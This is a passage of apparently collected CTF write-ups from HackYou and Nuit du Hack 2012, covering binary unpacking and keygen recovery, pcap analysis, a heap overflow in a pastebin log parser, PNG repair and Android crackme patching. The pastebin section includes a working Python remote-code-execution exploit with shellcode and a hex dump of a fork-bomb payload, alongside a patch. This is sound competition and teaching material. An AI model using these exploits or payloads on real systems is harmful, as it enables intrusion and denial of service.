fcntl(3, F_SETFD, FD_CLOEXEC)           = 0
execve("/proc/5640/fd/3", ["./task3.bin"], [/* 41 vars */]) = 0
[...]

The binary is unpacking itself into a file "/tmp/upxCRBOGQOAFQI", which is a randomly generated name. Then it is unlinked and executed by execve().

The unlink() function is guaranteed to unlink the file from the file system hierarchy but keep the file on disk until all open instances of the file are closed.

Once the execution is over, the file is deleted, so we need to find the file name, and copy the file elsewhere before it's unlinked. Let's toggle a breakpoint before execve() then.

(gdb) b *0x004024dd
Breakpoint 1 at 0x4024dd
(gdb) r
Starting program: /tmp/task3.bin 
 
Breakpoint 1, 0x004024dd in ?? ()
(gdb) x/s $ebx
0xffffd494:	"/proc/12767/fd/7"
(gdb)
% file /proc/12767/fd/7
/proc/12767/fd/7: broken symbolic link to `/tmp/upxC5RF3NOAMO5 (deleted)'

Ok! Now we can work on the unpacked binary.

Step 2 - Keygen

Our routine is sub_8048617.
Several conditions must be met:

  • - argv[1] = username
  • - argv[2] = password
  • - username != 'hackyou'
  • - len(password) == 14
  • - password[4] == '-' and password[8] == '-'
  • - sub_804838C(username, password) == True
  • - sub_804844B(username, password[5:]) == True
  • - sub_804850A(username, password[10:]) == True

Although our username must not be 'hackyou', if you take a look at sub_80485F0, the goodboy message, you'll notice it prints "Great! Now submit the license key for 'hackyou'".
sub_804838C, sub_804844B and sub_804850A all proceed in the same way, which finally compares individually 4 bytes of the given password parameter:

hackyou_rev300_ida.png

Our password character is in edx, the expected one is in eax. Lazy as i am, i didn't go much deeper :)

All we need now is to break on:

.text:0804842B                 cmp     eax, edx

... dump eax, and fix edx so that it will be equal to eax. Same for the two last routines. Let's create a basic pythonGDB script to do the work for us.

import gdb
 
passwd = ""
passwd_len = 0
 
def callback_username_condition():
    gdb.execute("set $eax=1")
 
def callback_compare_password():
    global passwd, passwd_len
 
    gdb.execute("set $edx=$eax")
 
    if passwd_len in (4, 9):
        passwd += '-'
        passwd_len += 1
 
    passwd += chr(gdb.parse_and_eval("$eax"))
    passwd_len += 1
 
    print "[+]", passwd
 
class HitBreakpoint(gdb.Breakpoint):
    def __init__(self, loc, callback):
        super(HitBreakpoint, self).__init__(
            loc, gdb.BP_BREAKPOINT, internal=False
        )
        self.callback = callback
 
    def stop(self):
        self.callback()
 
        return False
 
HitBreakpoint("*0x08048665", callback_username_condition)
HitBreakpoint("*0x0804842B", callback_compare_password)
HitBreakpoint("*0x080484EA", callback_compare_password)
HitBreakpoint("*0x080485A9", callback_compare_password)

And run it...

(gdb) source script.py 
Breakpoint 1 at 0x8048665
Breakpoint 2 at 0x804842b
Breakpoint 3 at 0x80484ea
Breakpoint 4 at 0x80485a9
(gdb) r hackyou 0123-4567-8910
Starting program: /tmp/unpacked_rev300 hackyou 0123-4567-8910
warning: Could not load shared library symbols for linux-gate.so.1.
Do you need "set solib-search-path" or "set sysroot"?
[+] k
[+] ke
[+] kec
[+] kecc
[+] kecc-h
[+] kecc-ha
[+] kecc-hac
[+] kecc-hack
[+] kecc-hack-y
[+] kecc-hack-yo
[+] kecc-hack-yo0
[+] kecc-hack-yo0u
Great! Now submit the license key for 'hackyou'
[Inferior 1 (process 14524) exited with code 01]
(gdb)

Flag: kecc-hack-yo0u

HackYou CTF - Packets100, Packets200, Packets300 Writeups


Epic Arc Mister You is willing to hire someone who can repeat his investigation. Arc starts from here

Part 1. Find the secret link in this conversation

Part 2. What's the md5 of the file being transferred?

Part 3. Find and solve it. It's up to you

Packets 100 - Epic Arc Pt.1



Download file epicark100.pcap.
Open with Wireshark: Menu: Files -> Export Objects -> HTTP -> Save All.

% grep key *
message:message=some%20shit%20happend%20%20this%20sunday.%20i%20have%20downloaded%20this%20(key-http%3A%2F%2Ftinyurl.com%2F9qj5r4r)&to=%23hacku
message(2):message=oh%2C%20sry.%20key%20is%20tinyurl.com%2F8pdox5a&to=%23hacku

Key is in message(2), that's also the link to download Packets 300 challenge.

Flag: tinyurl.com/8pdox5a

Packets 200 - Epic Arc Pt.2



Download file epicark200.
Open with Wireshark. Notice a "Request: SIZE /tcp_serv.beam" on frame 11, and the answer: 3048 in frame 12.
Data transfer begin at frame 15 "Request: RETR /tcp_serv.beam".
Go to frame 17, Follow TCP stream, Save. Notice it displays a "Entire conversation (3048 bytes)", so we are all good.

% md5sum tcp_serv.beam  
77f92edb199815b17e2ff8da36e200df  tcp_serv.beam

Flag: 77f92edb199815b17e2ff8da36e200df

Packets 300 - Epic Arc Pt.3



Download file epicark300.
Open with Wireshark: Menu: Files -> Export Objects -> HTTP -> Save All.
We find a ctf.exe file, we need to reverse it. Here is a summary of what it is doing:

  • - receive a 8 bytes key from the remote server : 159.253.22.174:3137
  • - key ^= '_hackme_'
  • - XOR "FlagRequest:omkesey" with key
  • - send this to the server
  • - receive the flag, XORed with key

At first I believed the flag would be within the provided packets.
Let's follow the TCP stream:

pkt300_screenshot1.png
Extract the red part and xor it with "FlagRequest:omkesey", we obtain the key.
Now we xor the last blue part with that key and obtain ... "someflag". #FAIL.

Let's launch ctf.exe with wine, and sniff it with wireshark. We obtain the stream below:

pkt300_screenshot2.png
Same process but this time we obtain: "Hire_m3_mister_U".

Flag: Hire_m3_mister_U

NDH2k12 - Debriefing


baniere_ndh

We just participated in the "Nuit du Hack" CTFs the two last weekends. CTFs, with a "s", because there was two of them : a private and a public CTF. The 23 june was the "Nuit du Hack" event, and it was originally planned that the two CTFs take place here, in the same time, but unfortunately the public CTF was reported to the next weekend because of technical issues.



* Private CTF :

This was an attack/defense CTF ! Each team (13 in total) had a server with a dozen of services to patch/protect/attack.
We successfully exploited some webapp, and a so called "pastebin" challenge (a RCE caused by an overflow in a log parsing program), which played an important role in this CTF as we'll see :)

Unfortunately for us, at some time of the night (~ 3h30), almost all teams lost access to their VM, and without really knowing what was the cause of this situation, the staff decided to prematurely stop the CTF. So after validating our preciously keeped flags (~ 20 :p) we finished at the 2nd place with 4250pts, just behind HackerDom with 4960pts. This is not a bad score, but this left us with a slight taste of biterness when we latter learned what really happened : a team actually launched a fork bomb on the pastebin service (him again !) shutting down all the unpatched teams (More information : here(EN), here(EN), here(EN), here(EN), here(FR), here(FR) and here)

Since the pastebin was the one causing so much trouble, we wrote a little write-up that you can find here :)



scoreboard



* Public CTF :

So the public challenge was reported to the next weekend, and lasted 48h. This time it was a "classic" CTF, with some challenges to solve in categories like WebApp, Crackme, Forensics, Stegano or Crypto.
This time we finished 1st, with a total of 13710 points, by solving 23 out of 28 challenges \o/
You can find a few write ups here :



ranking_ndh_public.png



NDH2k12 Write-up Pastebin


The first thing we have for this challenge, is a "pastebin-like" website, with possibility to create, display, and delete entries
All actions are logged in the "pastebin.log" file, and new pastes are created in files "data/".md5($title).

The second part, is a cron job running every minute, calling the binary "resources/parse" which parses the pastebin.log file and update "resources/stats.html" with the current number of pastes, the number of actions, logged attacks (xss, lfi, sqli, ...). This file is then displayed in the website's index.

We also notice that the flag is in "resources/functions.php".

Here is the code for creating new pastes :

$log = fopen('pastebin.log', 'a');
if(isset($_POST['title'], $_POST['text'], $_POST['time'])) {
    $name = md5($_POST['title']);
    $time = intval($_POST['time']);
    file_put_contents("data/$name", $_POST['title']."\x00".$_POST['text']);
    $len = strlen($_POST['text']);
    fwrite($log, $time.' + '.$len.' '.$name.' '.$_POST['title']."\n");
    header("Location: ?id=$name");
    exit();
}

So a log entry has the following format :

timestamp + post_length md5_title title\n


Now the vulnerability. It's located in the "get_parse" routine of the parse binary :

void *__cdecl get_paste(int inputfd)
{
  char req_type; // [sp+2Bh] [bp-Dh]@1
  void *buffer; // [sp+2Ch] [bp-Ch]@1
 
  buffer = malloc(0x12Cu);
  __isoc99_fscanf(inputfd, "%d %c %d", buffer, &req_type, (char *)buffer + 292);
  if ( *(_DWORD *)buffer )
  {
    switch ( req_type )
    {
      case '-':
        *((_DWORD *)buffer + 74) = handle_del;
        break;
      case '?':
        *((_DWORD *)buffer + 74) = handle_query;
        break;
      case '+':
        *((_DWORD *)buffer + 74) = handle_add;
        break;
      default:
        free(buffer);
        buffer = 0;
        break;
    }
    __isoc99_fscanf(inputfd, "%32s %[^\n]s\n", (char *)buffer + 259, (char *)buffer + 4);
  }
  else
  {
    free(buffer);
    buffer = 0;
  }
  return buffer;
}

As we can see a buffer is allocated to hold the current paste's information. The first fscanf writes the timestamp at the beginning of the buffer (offset +0), the type in a separated variable (req_type) and the title's length at the end of the buffer (offset +292).
A handler pointer is then placed at buffer+74*4 (offset +296), and finally the second fscanf copies the title just after the timestamp (offset +4) without length control.
So the title (that we control) just has to be longer than 292 bytes to overflow, and overwrite the handler pointer, causing a segfault :

~/vhosts/ndhpastebin$ cat pastebin.log 
1340853859 + 2 c73301b7b71679067b02cff4cdc5e700 aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaabbbb
1340853866 ? 0 c73301b7b71679067b02cff4cdc5e700 c73301b7b71679067b02cff4cdc5e700
~/vhosts/ndhpastebin$ ./resources/parse pastebin.log aaa
Erreur de segmentation (core dumped)
~/vhosts/ndhpastebin$ gdb resources/parse core
[...]
Core was generated by `./resources/parse pastebin.log aaa'.
Program terminated with signal 11, Segmentation fault.
#0  0x62626262 in ?? ()
(gdb) x/16wx $eax
0x8d582d8:        0x4febce63        0x61616161        0x61616161        0x61616161
0x8d582e8:        0x61616161        0x61616161        0x61616161        0x61616161
0x8d582f8:        0x61616161        0x61616161        0x61616161        0x61616161
0x8d58308:        0x61616161        0x61616161        0x61616161        0x61616161
(gdb) 


We have overwritten EIP, and at the time of the crash, EAX points to the beginning of the buffer (timestamp + title).
The heap being executable, two "call eax" allow us to gain execution by directly jumping into our buffer :

~/vhosts/ndhpastebin$ objdump -D resources/parse | grep call | grep eax
 80486c8:        ff 14 85 8c a0 04 08         call   *0x804a08c(,%eax,4)
 804870f:        ff d0                        call   *%eax
 8048e0b:        ff d0                        call   *%eax

The timestamp is also not a problem, since it is also supplied by the user (variable $_POST['time']). So we'll just submit a timestamp equals to 0x90909090, then our shellcode in the title (padded to 292 bytes) followed by the address of one of the previous "call eax". And that's it :)
As we are in an attack/defense CTF, reverse-shells may be blocked, or monitored, so we'll use a shellcode to copy the wanted flag into an accessible location (we'll of course make sure to remove this file afterwards...)


This vulnerability has also been used by one of the team (Les_Pas_Contents) to execute a persistent fork-bomb, causing a lot of teams to loose access to their server, and an early end to the CTF...(thanks delroth for the attack dump). Here's the attack, in the 4th packet from 10.11.3.50 :

0040  18 66 50 4f 53 54 20 2f 20 48 54 54 50 2f 31 2e   .fPOST / HTTP/1.
0050  31 0d 0a 48 6f 73 74 3a 20 6c 6f 63 61 6c 68 6f   1..Host: localho
0060  73 74 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65   st..Content-Type
0070  3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 78 2d   : application/x-
0080  77 77 77 2d 66 6f 72 6d 2d 75 72 6c 65 6e 63 6f   www-form-urlenco
0090  64 65 64 0d 0a 43 6f 6e 74 65 6e 74 2d 4c 65 6e   ded..Content-Len
00a0  67 74 68 3a 20 39 31 37 0d 0a 0d 0a 74 69 74 6c   gth: 917....titl
00b0  65 3d 25 36 61 25 30 32 25 35 38 25 63 64 25 38   e=%6a%02%58%cd%8
00c0  30 25 65 62 25 66 39 25 63 63 25 34 32 25 34 32   0%eb%f9%cc%42%42

Disassembled code:

00000000  6A02              push byte +0x2
00000002  58                pop eax
00000003  CD80              int 0x80           ; fork()
00000005  EBF9              jmp short 0x0      ; infinite loop



How to patch the vulnerability :
A quick and dirty fix consists in directly edit the format string of the second fscanf in the parse binary, to set a length limit for the title :
(here we replaced "[\n]" by "0290")

__isoc99_fscanf(inputfd, "%32s %0290s\n", (char *)buffer + 259, (char *)buffer + 4);


Exploit :

import urllib2, sys, struct
 
# /bin/cp /var/www/pastebin/resources/functions.php /var/www/pastebin/nawak.txt
shellcode = "\x31\xc0\x66\xb8\x10\x10\x29\xc4\x89\xe1\x29\xc1\x31\xc0\x89\x01\x31\xc0\xb0\x74\xc1\xe0\x08\xb0\x78\xc1\xe0\x08\xb0\x74\x50\x68\x77\x61\x6b\x2e\x68\x6e\x2f\x6e\x61\x68\x74\x65\x62\x69\x68\x2f\x70\x61\x73\x68\x2f\x77\x77\x77\x68\x2f\x76\x61\x72\x49\x49\x49\x49\x89\x21\x31\xc0\xb0\x70\x50\x68\x73\x2e\x70\x68\x68\x74\x69\x6f\x6e\x68\x66\x75\x6e\x63\x68\x63\x65\x73\x2f\x68\x73\x6f\x75\x72\x68\x6e\x2f\x72\x65\x68\x74\x65\x62\x69\x68\x2f\x70\x61\x73\x68\x2f\x77\x77\x77\x68\x2f\x76\x61\x72\x49\x49\x49\x49\x89\x21\x31\xc0\xb0\x70\xc1\xe0\x08\xb0\x63\xc1\xe0\x08\xb0\x2f\x50\x68\x2f\x62\x69\x6e\x49\x49\x49\x49\x89\x21\x89\xe3\x31\xc0\x50\x89\xe2\x31\xc0\xb0\x0b\xcd\x80"
 
addr =  "08048e0b".decode("hex")[::-1] # call eax
stamp = struct.unpack("<i","\x90"*4)
 
title = shellcode.rjust(292,"\x90")
title += addr
 
if len(sys.argv)<2:
    print ("Usage: ", argv[0], " url")
    exit(1)
 
url = sys.argv[1]
 
def exploit():
    p =urllib2.urlopen(url, "title=" + urllib2.quote(title) + "&time=" + str(stamp) + "&text=bollocks")
    #print p.read()
 
exploit()

NDH2k12-wargame Write-up What the file ?


Name What the file ?
Score 1000
Content While doing some forensics, an analyst found a weird file. Please help him.

We have this file unknown.bin

$ file unknown.bin.png
unknown.bin.png: PNG image data, CORRUPTED
$ pngcheck -vt7f unknown.bin
File: unknown.bin (1179008 bytes)
File is CORRUPTED.  It seems to have suffered EOL conversion.
It was probably transmitted in text mode.


Ok, it's a corrupted PNG that we have to patch.

We realized that the lengths and the chunks' names are affected by several alterations.

We begun by correcting those names and lengths for each chunk.

A quick reminder from the RFC 2083 about the chunk layout :

Length
	A 4-byte unsigned integer giving the number of bytes in the
	chunk's data field. The length counts only the data field, not
	itself, the chunk type code, or the CRC.  Zero is a valid
	length.  Although encoders and decoders should treat the length
	as unsigned, its value must not exceed (2^31)-1 bytes.

Chunk Type
	A 4-byte chunk type code.  For convenience in description and
	in examining PNG files, type codes are restricted to consist of
	uppercase and lowercase ASCII letters (A-Z and a-z, or 65-90
	and 97-122 decimal).  However, encoders and decoders must treat
	the codes as fixed binary values, not character strings.  For
	example, it would not be correct to represent the type code
	IDAT by the EBCDIC equivalents of those letters.  Additional
	naming conventions for chunk types are discussed in the next
	section.

Chunk Data
	The data bytes appropriate to the chunk type, if any.  This
	field can be of zero length.

CRC
	A 4-byte CRC (Cyclic Redundancy Check) calculated on the
	preceding bytes in the chunk, including the chunk type code and
	chunk data fields, but not including the length field. The CRC
	is always present, even for chunks containing no data.  See CRC
	algorithm (Section 3.4).

No apparent problem for IHDR, sBIT, pHYs, tEXt(Software) and IEND chunks.

For IDAT chunks, we can understand that they're 8192 bytes long.
We scripted the thing to patch the file from offset 0x6A each 8204 bytes (8192 + 4 + 4 + 4) to 00 00 20 00 49 44 41 54 (Length + "IDAT").

$ pngcheck -vt7f unknown.bin.png
  [...]
  chunk IDAT at offset 0x11c717, length 8192
  chunk IDAT at offset 0x11e723, length 8192:  EOF while reading data


We almost got a proper and genuine png file from pngcheck's point of view, except the latest IDAT chunk. This is normal, as this chunk is the latest one and isn't 8192 bytes long.

We fixed this by correcting with that value : size until the end of file - IEND chunk (12 bytes) - checksum (4 bytes) = 5705 bytes (0x1649).

$ pngcheck -vt7f unknown.bin.png
  [...]
  chunk IDAT at offset 0x11c717, length 8192
  chunk IDAT at offset 0x11e723, length 5705
  CRC error in chunk IDAT (actual 66b9b445, should be 68cf7786)
  chunk IEND at offset 0x11fd78, length 0



Weird, the checksum is not correct, unlike all the IDAT checksums so far...We'll see later.

As the image can be open with several editors, some others won't because of the latest chunk's checksum. Nevertheless, we can see our old Chuck Norris and only half of the flag.

wtf_chucknorris.png

650b0a5aa1ec4cea................

So at this time we have the first part of the flag...

The wrong checksum of the last IDAT is probably a good clue to get the second part of the flag.
At the end of the file, we can see above IEND chunk a ...zTX3..., maybe a zTXt chunk ? Let's give it a try...

The length will be 27 bytess, 0x1B.
We also changed the length of the last IDAT chunk, 5705 - 27 - 12 = 5666 that's to say 0x1622.

Excellent, this time no more problem with checksums.

$ pngcheck -vt7f unknown.bin.png
  [...]
  chunk IDAT at offset 0x11e723, length 5666
  chunk zTXt at offset 0x11fd51, length 27:   keyword has control characters, keyword: x\DA\D3\D3C\05\96\A9\06\C9\16\A6I\86\86i\89I\A6\A6\C9f
    (compressed zTXt text)
  zTXt chunk contains one or more control characters
  chunk IEND at offset 0x11fd78, length 0



Then let's decompress the string with zlib.

#!/usr/bin/python
import zlib
 
print zlib.decompress("78 DA D3 D3 43 05 96 A9 06 C9 16 A6 49 86 86 69 89 49 A6 A6 C9 66 00 6D 17 07 6F".replace(" ","").decode("hex"))



................9e0c85b11fab55c6

w3ll done

NDH2k12-wargame Write-up CrackMe Android


File : NDH.apk

We were asked to reverse an Android application, coming as an APK file.

The first move was to get the Java source of that application with dex2jar in order to decompile the APK into a plain JAR file.

If you ever want more information about this step, check out that link http://tinyurl.com/blcp353.

Once we have the JAR file, we opened it with JD-GUI and located the main Activity, that is to say the entry point of an application.

Here's the code :

package com.app.ndh;
 
import android.app.Activity;
import android.app.AlertDialog;
import android.app.AlertDialog.Builder;
import android.content.DialogInterface;
import android.content.DialogInterface.OnClickListener;
import android.os.Bundle;
import android.telephony.TelephonyManager;
import android.text.Editable;
import android.view.View;
import android.view.View.OnClickListener;
import android.widget.Button;
import android.widget.EditText;
import android.widget.TableLayout;
import android.widget.TextView;
 
public class NDHActivity extends Activity
{
  static
  {
    System.loadLibrary("verifyPass");
  }
 
  private native String print(String paramString);
 
  public void onCreate(Bundle paramBundle)
  {
    super.onCreate(paramBundle);
    TextView localTextView = new TextView(this);
    localTextView.setText("Enter the code to activate this software :");
    AlertDialog.Builder localBuilder1 = new AlertDialog.Builder(this);
    AlertDialog.Builder localBuilder2 = localBuilder1.setCancelable(false);
    1 local1 = new DialogInterface.OnClickListener()
    {
      public void onClick(DialogInterface paramDialogInterface, int paramInt)
      {
      }
    };
    AlertDialog.Builder localBuilder3 = localBuilder1.setPositiveButton("OK", local1);
    EditText localEditText = new EditText(this);
    localEditText.setInputType(0);
    Button localButton = new Button(this);
    localButton.setText("Activation");
    TelephonyManager localTelephonyManager = (TelephonyManager)getSystemService("phone");
    2 local2 = new View.OnClickListener(localTelephonyManager, localBuilder1, localEditText)
    {
      public void onClick(View paramView)
      {
        if (Integer.decode(this.val$test.getDeviceId()).intValue() == 0)
          AlertDialog.Builder localBuilder1 = this.val$builder.setMessage("Bad Password");
        while (true)
        {
          this.val$builder.create().show();
          return;
          AlertDialog.Builder localBuilder2 = this.val$builder;
          NDHActivity localNDHActivity = NDHActivity.this;
          String str1 = this.val$tv2.getText().toString();
          String str2 = localNDHActivity.print(str1);
          AlertDialog.Builder localBuilder3 = localBuilder2.setMessage(str2);
        }
      }
    };
    localButton.setOnClickListener(local2);
    TableLayout localTableLayout = new TableLayout(this);
    localTableLayout.addView(localTextView);
    localTableLayout.addView(localEditText);
    localTableLayout.addView(localButton);
    setContentView(localTableLayout);
  }
}

Before going any further with that code, we wanted it to be running on a Android emulator and we had to patch few things.

This time, we completely disassembled the APK with apktool. This tool is BakSmaling (disassembling) the compiled code whose assembly representation is called Smali and unpacking all the files contained in an APK (certificates, libs etc.).
It also disassembles the graphical resources files and the AndroidManifest.xml file, which lists all the required settings for an application to run (platform version, permissions etc.).

android@honeynet:~/tools/apktool$ apktool d ~/ndh/NDH.apk ~/ndh/NDH_Decomp
I: Baksmaling...
I: Loading resource table...
I: Loaded.
I: Loading resource table from file: /home/android/apktool/framework/1.apk
I: Loaded.
I: Decoding file-resources...
I: Decoding values*/* XMLs...
I: Done.
I: Copying assets and libs...

Here's the AndroidManifest.xml :

<?xml version="1.0" encoding="utf-8"?>
<manifest android:versionCode="1" android:versionName="1.0" package="com.app.ndh"
  xmlns:android="http://schemas.android.com/apk/res/android">
    <uses-sdk android:minSdkVersion="15" />
    <uses-permission android:name="android.permission.READ_PHONE_STATE" />
    <application android:label="@string/app_name" android:icon="@drawable/ndh">
        <activity android:label="@string/app_name" android:name=".NDHActivity">
            <intent-filter>
                <action android:name="android.intent.action.MAIN" />
                <category android:name="android.intent.category.LAUNCHER" />
            </intent-filter>
        </activity>
    </application>
</manifest>

That manifest requires Android 4.0.3 (API 15) as minimum SDK version. Having a 2.3.3 (API 10) emulator, we just removed that line in the Manifest.

Now, let's go back into the code.

Just by reading the source, we're aware that this application graphically consists of a EditText (a textbox) and a Button. So basically, we have to enter an activation code and hit the button for it to be checked.

Once hit, the first check is :

if (Integer.decode(this.val$test.getDeviceId()).intValue() == 0)
	AlertDialog.Builder localBuilder1 = this.val$builder.setMessage("Bad Password");

To be read as : if the IMEI of the terminal equals 0, then always display "Bad Password", whatever activation code you typed (even the good one :)).

As the emulated terminals have no real IMEI, this value is set to 0. This first check is actually an anti-emulator feature :)

In order to remove that check, we had to directly patch the Smali code. Here's the original Smali section, in the NDH_Decomp/smali/com/app/ndh/NDHActivity$2.smali file :

iget-object v1, p0, Lcom/app/ndh/NDHActivity$2;->val$test:Landroid/telephony/TelephonyManager;
 
; Grab the terminal's IMEI
invoke-virtual {v1}, Landroid/telephony/TelephonyManager;->getDeviceId()Ljava/lang/String; 
move-result-object v1
 
; Decode it as an integer value
invoke-static {v1}, Ljava/lang/Integer;->decode(Ljava/lang/String;)Ljava/lang/Integer; 
move-result-object v1
invoke-virtual {v1}, Ljava/lang/Integer;->intValue()I
move-result v1
 
; if (v1 == IMEI) != 0 then jump to the cond_0 label (the legit "while(true){}" section), else print "Bad Password"
if-nez v1, :cond_0  
 
iget-object v1, p0, Lcom/app/ndh/NDHActivity$2;->val$builder:Landroid/app/AlertDialog$Builder;
const-string v2, "Bad Password"

We simply transformed the conditional jump "if-nez v1, :cond_0" to a unconditional jump, that's to say : "goto :cond_0"

Having both the Smali code and the Manifest patched, we rebuilt the application with apktool :

android@honeynet:~/tools/apktool$ apktool b ~/ndh/NDH_Decomp ~/ndh/New_NDH.apk
I: Checking whether sources has changed...
I: Checking whether resources has changed...
I: Building apk file...

Still, we needed to sign the application, as the emulator won't install an unsigned APK. Here comes the signing command, with a self-signed certificate :

android@honeynet:~/tools/apktool$ jarsigner -verbose -sigalg MD5withRSA -digestalg SHA1 -keystore /home/android/my-release-key.keystore -storepass my_pass ~/ndh/New_NDH.apk maz
  adding: META-INF/MANIFEST.MF
  adding: META-INF/MAZ.SF
  adding: META-INF/MAZ.RSA
  signing: lib/armeabi/libverifyPass.so
  signing: res/drawable-hdpi/ic_launcher.png
  signing: res/drawable-hdpi/ndh.png
  signing: res/drawable-ldpi/ic_launcher.png
  signing: res/drawable-ldpi/ndh.png
  signing: res/drawable-mdpi/ic_launcher.png
  signing: res/drawable-mdpi/ndh.png
  signing: res/drawable-xhdpi/ic_launcher.png
  signing: res/drawable-xhdpi/ndh.png
  signing: res/layout/main.xml
  signing: AndroidManifest.xml
  signing: classes.dex
  signing: resources.arsc

The patched APK can be found here. So now we can install and execute that application on an emulator.

app_home.png

Let's reverse that crackme ! Going back into the code, we have those 3 code sections:

static
{
	System.loadLibrary("verifyPass");
}
private native String print(String paramString);
NDHActivity localNDHActivity = NDHActivity.this;
String str1 = this.val$tv2.getText().toString();
String str2 = localNDHActivity.print(str1);
AlertDialog.Builder localBuilder3 = localBuilder2.setMessage(str2);

While the first instruction loads a native library, a .so file written in C and compiled with the NDK (Native Development Kit), the second stands for the declaration of the native method, here called "print".

The last part indicates that the text from the EditText element is passed to the native "print" method and its result is then displayed in a popup.

All in all, the validation routine is contained in that lib.

Thus, the next step was to reverse the "libverifyPass.so" file.
As said, apktool unpacked every file in the APK.

android@honeynet:~/ndh/NDH_Decomp$ file lib/armeabi/libverifyPass.so
lib/armeabi/libverifyPass.so: ELF 32-bit LSB shared object, ARM, version 1 (SYSV), dynamically linked, stripped

Let's start by opening libverifyPass in IDA.
In the "Strings" window, we only have two strings : "Bad password" & "Good password, this is the flag too".
Those two strings are only referenced in one function : "Java_com_app_ndh_NDHActivity_print", which is the function called from the Java source.
Here is a global view of this function :

crackme_android_ida.png

We can split it in a few basic blocks :

  • purple : initialization
  • yellow : main loop
  • blue : final tests
  • red : fail (references "bad password")
  • green : success (references "Good password")

Before going any further, let's see a few specific details of the JNI (Java Native Interface) :

.text:00000F68                 STR     R0, [SP,#0x140+ptr_vtable_like]
.text:00000F6A                 STR     R1, [SP,#0x140+not_used]
.text:00000F6C                 STR     R2, [SP,#0x140+user_string]

We can see in the above snippet of the initialization block, that the function takes 3 parameters (in R0-R2) that are immediatly saved in local variables on the stack. But the Java source only use one argument, so the first two must be implicit arguments from the JNI.

The second is unused, but the first is used like a pointer on a vtable in C++, containing some function pointers used to do virtual calls, as in the following snippet :

.text:00000F78                 LDR     R2, [R3]								; Address of the "vtable-like" in R2
.text:00000F7A                 MOVS    R3, 0x2A4							; Offset = 0x2A4
.text:00000F7E                 LDR     R3, [R2,R3]							; Address of the "virtual function"
.text:00000F80                 LDR     R1, [SP,#0x140+ptr_vtable_like]
.text:00000F82                 LDR     R2, [SP,#0x140+user_string]
.text:00000F84                 MOVS    R0, R1								; Arg 1 -> our pointer
.text:00000F86                 MOVS    R1, R2 								; Arg 2 -> our string
.text:00000F88                 MOVS    R2, #0 							; Arg 3 
.text:00000F8A                 BLX     R3									; "virtual call"

As explained in the wiki page, this is how the JNI works. All functions take a JNIEnv pointer as first parameter, which is a structure containing pointers to all the required method to interface with the JVM :

/* Example of a JNI function, taking a JNIEnv pointer as first parameter */
JNIEXPORT void JNICALL Java_ClassName_MethodName(JNIEnv *env, jobject obj, jstring javaString)
{
	/* Example of a function call, using a function pointer in JNIEnv */
	const char *nativeString = (*env)->GetStringUTFChars(env, javaString, 0);
	[...]
}

Our program use this type of call 3 times, with the indexes 0x2A4, 0x290 and 0x29C. To retreive the names of the corresponding fonctions, we can use directly the header file jni.h or this documentation which contains the indexes in the JNIEnv interface function table :

0x24A / 4 = 169 --> const jbyte* GetStringUTFChars(JNIEnv *env, jstring string, jboolean *isCopy);
0x290 / 4 = 164 --> jsize GetStringLength(JNIEnv *env, jstring string);
0x29C / 4 = 167 --> jstring NewStringUTF(JNIEnv *env, const char *bytes);

We can now analyse our routine with a full knowledge of which function it's using :)
Starting with the end (the blue "final tests" block), we can see that the block doesn't really test anything on the supplied string, except that the result of a previous call to "GetStringLength" must equals 0xC.
Besides, there's just some really basic anti debug trick here : a call to difftime() is made, with the return values of two calls to time() before and after the main loop, and the result is tested against a hardcoded double value, that it must not exeed (R2=0x00000000 R3=0x3FF00000, so our maximum value is 1.0, but we really don' care since we are doing this in static analysis :p)

So let's skip to the interesting part. In the initialization block, two counters are set to 0, and a call to GetStringLength is made (but not directly tested).

.text:00000FFE                 MOVS    R3, #0
.text:00001000                 STR     R3, [SP,#0x140+counter1]
.text:00001002                 MOVS    R3, #0
.text:00001004                 STR     R3, [SP,#0x140+counter2]

More important, some structures in the .rodata section are loaded into the stack, as we can see in the following snippet :

.text:00000F9A                 ADD     R3, SP, #0x140+loaded_27E0		; R3 = stack buffer
.text:00000F9C                 LDR     R2, =(dword_27E0 - 0xFA2)			; R2 = rodata buffer
.text:00000F9E                 ADD     R2, PC
.text:00000FA0                 LDMIA   R2!, {R0,R1,R5}					; Load from R2 into multiple registers (R0, R1 and R5), and increment R2
.text:00000FA2                 STMIA   R3!, {R0,R1,R5}					; Store to R3 from multiple registers, and increment R3
.text:00000FA4                 LDMIA   R2!, {R0,R1,R5}
.text:00000FA6                 STMIA   R3!, {R0,R1,R5}
.text:00000FA8                 LDMIA   R2!, {R0,R1,R5}
.text:00000FAA                 STMIA   R3!, {R0,R1,R5}
.text:00000FAC                 LDMIA   R2!, {R0,R1,R5}
.text:00000FAE                 STMIA   R3!, {R0,R1,R5}

Using R0, R1, and R5, and repeating LDMIA/STMIA 4 times, we can see that this code loads 12 dwords. And there are 5 blocks like this one. The last action of the initialization block is to load the first char of our string somewhere in the stack (SP+0x20+0xFF) :

.text:00000FF2                 MOV     R3, SP 						; stack
.text:00000FF4                 ADDS    R3, #0x20 					
.text:00000FF6                 ADDS    R3, #0xFF 					
.text:00000FF8                 LDR     R2, [SP,#0x140+c_string]		; our string, result of GetStringUTFChars
.text:00000FFA                 LDRB    R2, [R2] 					; first char
.text:00000FFC                 STRB    R2, [R3] 					; store it !

Now let's finish this crackme with the main loop :

It first exits the loop to the final block if the current character (stored in SP+0x20+0xFF) is zero, this is our stop condition. After entering the loop, it also exits and prints "bad password" if the counter1 is greater than 0xC. Otherwise, (this part is the interesting one) it computes a xor between two values in the previously loaded on the stack data, and compares the result with the current password :

.text:00001040                 LDR     R2, [SP,#0x140+counter1]			
.text:00001042                 ADD     R3, SP, #0x140+loaded_2810		
.text:00001044                 LSLS    R2, R2, #2 						; R2 = counter1 * 4
.text:00001046                 LDR     R2, [R2,R3] 						; R2 = loaded_2810[ counter1 * 4 ]
